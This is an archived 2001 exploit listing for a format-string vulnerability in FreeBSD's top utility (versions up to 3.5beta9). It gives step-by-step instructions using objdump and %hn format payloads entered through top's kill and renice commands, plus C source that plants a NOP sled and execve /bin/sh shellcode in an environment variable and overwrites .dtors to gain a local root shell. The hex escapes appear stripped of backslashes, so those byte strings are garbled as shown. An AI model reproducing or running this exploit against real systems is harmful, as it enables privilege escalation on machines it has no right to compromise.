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# Title : FreeBSD TOP Format String Vulnerability
# Published : 2001-07-23
# Author : truefinder
# Previous Title : OpenBSD ftp Exploit (teso)
# Next Title : Debian 2.2 /usr/bin/pileup Local Root Exploit
/*
* freebsd x86 top exploit
* affected under top-3.5beta9 ( including this version )
*
* 1. get the address of .dtors from /usr/bin/top using objdump ,
*
* 'objdump -s -j .dtors /usr/bin/top'
*
* 2. divide it into four parts, and set it up into an environment variable like "XSEO="
*
* 3. run top, then find "your parted addresses from "kill" or "renice" command like this
*
* 'k %200$p' or 'r 2000 %200$p'
*
* 4. do exploit !
*
* 'k %190u%230$hn' <== 0xbf (4)
* 'k %190u%229$hn' <== 0xbf (3)
* 'k %214u%228$hn' <== 0xd7 (2)
* 'k %118u%227$hn' <== 0x77 (1)
*
* truefinder , seo@igrus.inha.ac.kr
* thx mat, labman, zen-parse
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define NOP 0x90
#define BUFSIZE 2048
char fmt[]=
"XSEO="
/* you would meet above things from 'k %200$p', it's confirming strings*/
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
/* .dtors's address in BSD*/
"x08xffx04x08"
"x09xffx04x08"
"x0axffx04x08"
"x0bxffx04x08"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
/* might shellcode be located 0xbfbfd6? ~ 0xbfbfde? */
char sc[]=
"x31xc0x50x68x2fx2fx73x68x68x2f"
"x62x69x6ex89xe3x50x53x50x54x53"
"xb0x3bx50xcdx80"; /* bigwaks 23 bytes shellcode */
int
main(void)
{
char scbuf[BUFSIZE];
char *scp;
scp = (char*)scbuf;
memset( scbuf, NOP, BUFSIZE );
scp += ( BUFSIZE - strlen(sc) - 1);
memcpy( scp, sc ,strlen(sc));
scbuf[ BUFSIZE - 1] = ' ';
memcpy( scbuf, "EGG=", 4);
putenv(fmt);
putenv(scbuf);
system("/bin/bash");
}
// www.Syue.com [2001-07-23]